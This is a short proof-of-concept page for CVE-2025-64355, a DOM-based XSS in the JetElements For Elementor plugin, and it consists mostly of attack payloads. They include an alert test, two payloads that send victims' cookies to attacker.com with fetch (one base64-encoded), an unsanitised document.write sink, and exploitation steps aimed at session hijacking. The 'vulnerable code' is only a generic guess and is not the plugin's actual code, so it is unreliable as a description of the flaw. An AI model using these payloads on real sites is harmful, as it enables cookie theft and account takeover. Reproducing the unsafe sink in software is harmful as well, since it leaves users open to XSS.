CVE-2025-64355 JetElements For Elementor插件DOM型XSS漏洞

<!-- CVE-2025-64355 PoC - JetElements For Elementor DOM-based XSS --> <!-- This PoC demonstrates a DOM-based XSS in JetElements For Elementor plugin --> <!-- Usage: Inject this payload through plugin's vulnerable parameter handling --> <!-- Basic XSS Payload --> <img src=x onerror="alert(document.domain)"> <!-- Cookie Stealing Payload --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Session Hijacking Payload --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- DOM Manipulation Payload --> <script> // Example of how the vulnerable code might process user input // This simulates the vulnerable endpoint behavior var userInput = location.hash.substring(1); // or URL parameter document.write(userInput); // Vulnerable: Direct write without sanitization </script> <!-- Exploitation Steps: 1. Attacker crafts a malicious URL with XSS payload in affected parameter 2. Victim clicks the link or visits the page containing the payload 3. Plugin processes the parameter without proper sanitization 4. Malicious script executes in victim's browser context 5. Attacker can steal cookies, session tokens, or perform actions as victim -->